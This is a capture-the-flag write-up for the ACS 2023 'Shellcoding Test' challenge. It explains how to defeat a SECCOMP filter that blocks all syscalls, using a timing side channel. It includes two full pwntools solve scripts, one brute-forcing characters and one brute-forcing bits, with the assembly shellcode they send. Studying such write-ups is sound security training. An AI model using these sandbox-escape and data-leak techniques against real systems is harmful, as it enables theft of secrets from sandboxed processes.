ACS 2023: Shellcoding Test

Attempting to cheat the syscall table?

TL;DR

Restricted shellcode challenge with bypassable SECCOMP filter via a Time-based Side Channel Attack.

Challenge Overview

Shellcoding Test is the continuation of Coding Test from the preliminary round. Once again, we can write any shellcode to an allocated buffer.

However, the SECCOMP rules enforced are much more restricted this time. As we are not allowed to execute any syscalls, we are left with a Time-based Side Channel Attack to brute force each flag character.

To mount this attack, we'll need to know exactly where the flag is loaded. Inspecting this in GDB, we realized that the flag is 8 bytes away from rsp.

Solution 1: Character Brute Forcing

In our solve script, we'll specify 2 loops - An outer loop that iterates N times (where N = flag length) to control the flag index that we are trying to brute force; and an inner loop that iterates all printable ASCII characters. Since we do not know the flag length, we'll just give N a large value for now.

for idx in range(0x1000):
    for i in range(256):
        r = elf.process()
        
        shellcode = asm(f'''
            mov rax, [rsp+8]
            mov cl, [rax+{hex(idx)}]
            cmp cl, {hex(i)}
            je loop

        syscall:
            mov rax, 1
            syscall

        loop:
            jmp loop
        ''')
        
        r.sendline(shellcode)

The shellcode required for this character brute forcing approach is fairly straightforward to code in assembly language, but comes with a huge penalty in terms of time complexity. It takes approximately 5 minutes to get the entire flag right.

Flag: ACS{5h311c0d!ng_73s7_@ppr0v3d}

Final Script

#!/usr/bin/python3

from pwn import *

exe = './shellcoding_test'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'CRITICAL'

flag = ''

for idx in range(0x1000):   # we do not know the actual flag length, so we'll assign a big value just to be sure
    for i in range(256):    # printable characters
        r = elf.process()

        shellcode = asm(f'''
            mov rax, [rsp+8]            # flag is 8 offset away from rsp
            mov cl, [rax+{hex(idx)}]    # iterate flag index
            cmp cl, {hex(i)}            # character to brute force
            je loop

        syscall:
            mov rax, 1
            syscall

        loop:
            jmp loop
        ''')

        try:
            r.sendline(shellcode)
            r.recv(timeout=1)
            print(f'[+] Found: {chr(i)}')
            flag += chr(i)
            r.close()
            break
        except Exception as e:
            pass
        r.close()

print(flag)

Solution 2: Bit Brute Forcing

A more optimized and faster way to do this is by granularize it down to the bit level. This way, we will only have to brute force 8 bits for each character (8 comparisons per character) instead of iterating through all ASCII printable characters like Solution 1.

Flag: ACS{5h311c0d!ng_73s7_@ppr0v3d}

Final Script

#!/usr/bin/python3

import sys
import string
import random
from pwn import *

context.binary = elfexe = ELF('./shellcoding_test', checksec=False)
context.log_level = 'CRITICAL'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([elfexe.path] + argv, gdbscript, elfexe.path, *a, *kw)
    else:
        target = process([elfexe.path] + argv, *a, **kw)
    return target

gdbscript = '''
b *main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

arguments = []
if args['REMOTE']:
    remote_server = '192.168.0.52'
    remote_port = 10202

def craft_shellcode(offset, bit_offset):
    shellcode = asm((f"""
        xor r11, r11
        xor rax, rax
        mov r12, [rsp+8]        # flag is 8 offset away from rsp
        mov al, [r12+{offset}]  # iterate flag index
        shr al, {bit_offset}    # 8 bit = 1 byte = 1 character
        shl al, 7
        shr al, 7
    loop:
        cmp rax, r11
        je end
        jmp loop
    end:
    """
    ), arch='amd64')
    assert(len(shellcode) <= 0x100)
    padded_shellcode = shellcode + b'\x90'*(0x100 - len(shellcode))
    assert(len(padded_shellcode) == 0x100)
    return padded_shellcode
    
def get_byte(offset):

    binary_bits = ''

    for bit_offset in range(8):
        print(bit_offset, end=': ')

        io = process()
        io.send(craft_shellcode(offset, bit_offset))
        start = time.time()
        io.recvall(timeout=1).decode()
        now = time.time()
        print(now - start)
        if (now - start) > 1:
            binary_bits += '1'
        else:
            binary_bits += '0'
        
        io.close()

    print(binary_bits[::-1])
    byte = int(binary_bits[::-1], 2)    # Reverse binary bits & convert from binary (base2) to decimal
    print(byte)
    return byte

flag = ''

while not flag.endswith('}'):
    flag += chr(get_byte(len(flag)))
    print(flag)

print(f'Found Flag: {flag}')

Last updated